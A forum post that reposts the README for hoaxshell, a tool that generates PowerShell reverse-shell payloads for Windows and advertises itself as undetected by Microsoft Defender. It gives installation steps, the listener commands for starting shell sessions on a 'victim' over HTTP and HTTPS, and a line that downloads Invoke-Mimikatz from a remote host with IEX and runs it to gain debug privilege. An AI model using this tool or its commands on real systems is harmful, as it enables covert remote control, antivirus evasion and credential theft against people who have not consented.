# Hoaxshell | An Unconventional Windows Reverse Shell

**URL:** <https://onehack.st/t/hoaxshell-an-unconventional-windows-reverse-shell/222687>\
**Category:** Tools & Scripts\
**Tags:** tools, privacy, windows\
**Created:** [August 18, 2022, 10:20pm UTC](https://onehack.st/t/hoaxshell-an-unconventional-windows-reverse-shell/222687 "2022-08-18T22:20:28Z")\
**Posts on this page:** 1\
**Page:** 1

<div class="post-metadata">

**Author:** ![BlueHacker](https://onehack.st/user_avatar/onehack.st/bluehacker/32/174721_2.png) [@BlueHacker](https://onehack.st/u/BlueHacker)\
**Post date:** [August 18, 2022, 10:20pm UTC](https://onehack.st/t/hoaxshell-an-unconventional-windows-reverse-shell/222687/1 "2022-08-18T22:20:28Z")

</div>

![image](https://onehack.st/uploads/default/original/3X/6/5/6507a8eb85e64ffe16c6ed2030a9c34746e5118b.jpeg)

[![Python 3.x](https://camo.githubusercontent.com/c653b4074c5c5998838f96060afebf90b7974d2a3b754f43c1bef940900905fd/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e782d79656c6c6f772e737667)](https://www.python.org/) [![](https://camo.githubusercontent.com/439aacae686d962c890036daab4b10657236738c3f853379ab36026a1a13ecb8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f706f7765727368656c6c2d25453225383925413525323076332e302d626c7565)](https://camo.githubusercontent.com/439aacae686d962c890036daab4b10657236738c3f853379ab36026a1a13ecb8/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f706f7765727368656c6c2d25453225383925413525323076332e302d626c7565) [![License](https://camo.githubusercontent.com/266caf93748f41a5b78d070fd4b48c54ac75f01c38308de84b9986bf81036012/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4253442d7265642e737667)](https://github.com/t3l3machus/hoaxshell/blob/main/LICENSE.md) [![](https://camo.githubusercontent.com/2b36de732e994247ebde99e0752ed864a450d40294c4606727e9b0fd913c4b15/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4d61696e7461696e65642533462d5965732d393663343066)](https://camo.githubusercontent.com/2b36de732e994247ebde99e0752ed864a450d40294c4606727e9b0fd913c4b15/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4d61696e7461696e65642533462d5965732d393663343066)

## Purpose

hoaxshell is an unconventional Windows reverse shell, currently undetected by Microsoft Defender and possibly other AV solutions as it is solely based on http(s) traffic. The tool is easy to use, it generates it’s own PowerShell payload and it supports encryption (ssl).

So far, it has been tested on fully updated **Windows 11 Enterprise** and **Windows 10 Pro** boxes (see video and screenshots).

### Video Presentation

[![](https://img.youtube.com/vi/SEufgD5UxdU/maxresdefault.jpg "hoaxshell - Pentesting tool presentation") ](https://www.youtube.com/watch?v=SEufgD5UxdU)

## Screenshots

[![usage_example_png](https://camo.githubusercontent.com/05bcd11f17e4aaebb754221364f910a1821f2f1b5e6cc3a118dff1ec89a4ea70/68747470733a2f2f7261772e6769746875622e636f6d2f74336c336d61636875732f686f61787368656c6c2f6d61737465722f73637265656e73686f74732f686f61787368656c6c2d77696e31312d76322e706e67)](https://camo.githubusercontent.com/05bcd11f17e4aaebb754221364f910a1821f2f1b5e6cc3a118dff1ec89a4ea70/68747470733a2f2f7261772e6769746875622e636f6d2f74336c336d61636875732f686f61787368656c6c2f6d61737465722f73637265656e73686f74732f686f61787368656c6c2d77696e31312d76322e706e67)

Find more screenshots [here](https://github.com/t3l3machus/hoaxshell/blob/main/screenshots).

## Installation

```auto
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py

```

## Usage

**Important** : As a means of avoiding detection, hoaxshell is automatically generating random values for the session id, URL paths and name of a custom http header utilized in the process, every time the script is started. The generated payload will work only for the instance it was generated for. Use the `-g` option to bypass this behaviour and re-establish an active session or reuse a past generated payload with a new instance of hoaxshell.

#### Basic shell session over http

```auto
sudo python3 hoaxshell.py -s <your_ip>

```

When you run hoaxshell, it will generate its own PowerShell payload for you to copy and inject on the victim. By default, the payload is base64 encoded for convenience. If you need the payload raw, execute the “rawpayload” prompt command or start hoaxshell with the `-r` argument. After the payload has been executed on the victim, you’ll be able to run PowerShell commands against it.

#### Encrypted shell session (https):

```auto
# Generate self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Pass the cert.pem and key.pem as arguments:
sudo python3 hoaxshell.py -s <your_ip> -c </path/to/cert.pem> -k <path/to/key.pem>

```

The generated PowerShell payload will be longer in length because of an additional block of code that disables the ssl certificate validation.

#### Grab session mode

In case you close your terminal accidentally, have a power outage or something, you can start hoaxshell in grab session mode, it will attempt to re-establish a session, given that the payload is still running on the victim machine.

```auto
sudo python3 hoaxshell.py -s <your_ip> -g

```

**Important** : Make sure to start hoaxshell with the same settings as the session you are trying to restore (http/https, port, etc).

## Limitations

The shell is going to hang if you execute a command that initiates an interactive session. Example:

```auto
# this command will execute succesfully and you will have no problem: 
> powershell echo 'This is a test'

# But this one will open an interactive session within the hoaxshell session and is going to cause the shell to hang:
> powershell

# In the same manner, you won't have a problem executing this:
> cmd /c dir /a

# But this will cause your hoaxshell to hang:
> cmd.exe

```

So, if you for example would like to run mimikatz throught hoaxshell you would need to invoke the commands:

```auto
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'

```

Long story short, you have to be careful to not run an exe or cmd that starts an interactive session within the hoaxshell powershell context.

## Future

I am currently working on some auxiliary-type prompt commands to automate parts of host enumeration.

## GitHub:

> **[GitHub - t3l3machus/hoaxshell: A Windows reverse shell payload generator and...](https://github.com/t3l3machus/hoaxshell)**
>
> A Windows reverse shell payload generator and handler that abuses the http(s) protocol to establish a beacon-like reverse shell.
